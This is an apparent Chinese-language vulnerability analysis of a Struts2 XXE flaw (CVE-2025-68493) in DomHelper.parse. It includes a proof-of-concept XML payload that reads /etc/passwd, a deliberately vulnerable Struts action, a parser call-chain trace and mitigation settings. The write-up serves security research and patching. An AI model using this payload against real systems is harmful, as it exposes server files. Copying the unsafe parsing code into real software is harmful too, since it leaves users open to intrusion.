Struts2 XXE漏洞 CVE-2025-68493
漏洞点
位置:com.opensymphony.xwork2.util.DomHelper.parse

环境
java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import com.opensymphony.xwork2.util.DomHelper; import org.w3c.dom.Document; import org.xml.sax.InputSource;
import java.io.IOException; import java.io.StringReader;
public class Test { public static void main(String[] args) throws IOException {
String xmlContent = "<?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><root>&xxe;</root>";
InputSource inputSource = new InputSource( new StringReader(xmlContent) );
Document document = DomHelper.parse(inputSource);
if (document != null && document.getDocumentElement() != null) { System.out.println(document.getDocumentElement().getTextContent()); } } }
|
struts:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| package com.y5neko.vul.action;
import com.opensymphony.xwork2.ActionSupport; import com.opensymphony.xwork2.util.DomHelper; import org.w3c.dom.Document; import org.xml.sax.InputSource;
import java.io.StringReader;
public class XmlParserNoDtdAction extends ActionSupport {
private String xmlContent; private String result; private String error;
public String execute() { return SUCCESS; }
public String parse() { try { if (xmlContent == null || xmlContent.trim().isEmpty()) { error = "XML 内容不能为空"; return ERROR; }
InputSource inputSource = new InputSource( new StringReader(xmlContent) );
Document document = DomHelper.parse(inputSource);
if (document != null && document.getDocumentElement() != null) { result = document.getDocumentElement().getTextContent(); addActionMessage("XML 解析成功"); } else { error = "XML 解析失败"; return ERROR; }
} catch (Exception e) { StringBuilder sb = new StringBuilder(); sb.append(e.getClass().getSimpleName()); if (e.getMessage() != null) { sb.append(": ").append(e.getMessage()); } error = sb.toString();
e.printStackTrace();
return ERROR; }
return SUCCESS; }
public String getXmlContent() { return xmlContent; }
public void setXmlContent(String xmlContent) { this.xmlContent = xmlContent; }
public String getResult() { return result; }
public void setResult(String result) { this.result = result; }
public String getError() { return error; }
public void setError(String error) { this.error = error; } }
|
打包:
通过网盘分享的文件:CVE-2025-68493.zip
链接: https://pan.baidu.com/s/1PIS9WtjjAnh7X6gHX7vT0w?pwd=4y7m 提取码: 4y7m 复制这段内容后打开百度网盘手机App,操作更方便哦
–来自百度网盘超级会员v4的分享
分析

进入重载方法,dtdMappings为null

使用SAXParserFactory作为factory

直接进入SAXParserImpl的parse方法,依次跟进



直到com.sun.org.apache.xerces.internal.parsers.parse

securityPropertyManager负责管理JAXP安全属性



其中ACCESS_EXTERNAL_DTD和ACCESS_EXTERNAL_SCHEMA分别决定DTD阶段和XML Schema (XSD)阶段是否允许访问外部实体,默认为all,即允许所有协议,参考:
https://docs.oracle.com/en/java/javase/25/docs/api/java.xml/javax/xml/XMLConstants.html?utm_source=chatgpt.com#ACCESS_EXTERNAL_DTD

继续回到执行点

随后就是内部的xml解析逻辑,完整调用链如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| DomHelper.parse() ↓ SAXParser.parse() ↓ XMLParser.parse() ↓ XML11Configuration.parse() ↓ XMLEntityManager.startEntity() ↓ XMLScanner.scanDocument() ↓ XMLDTDScannerImpl.scanDTD() ↓ XMLDocumentScannerImpl.scanStartElement() ↓ XMLSchemaValidator / ContentHandler
|
复现

修复
1、升级Struts2版本;
2、jvm参数直接置空 XML 解析器的三个安全参数;
1 2 3
| -Djavax.xml.accessExternalDTD="" -Djavax.xml.accessExternalSchema="" -Djavax.xml.accessExternalStylesheet=""
|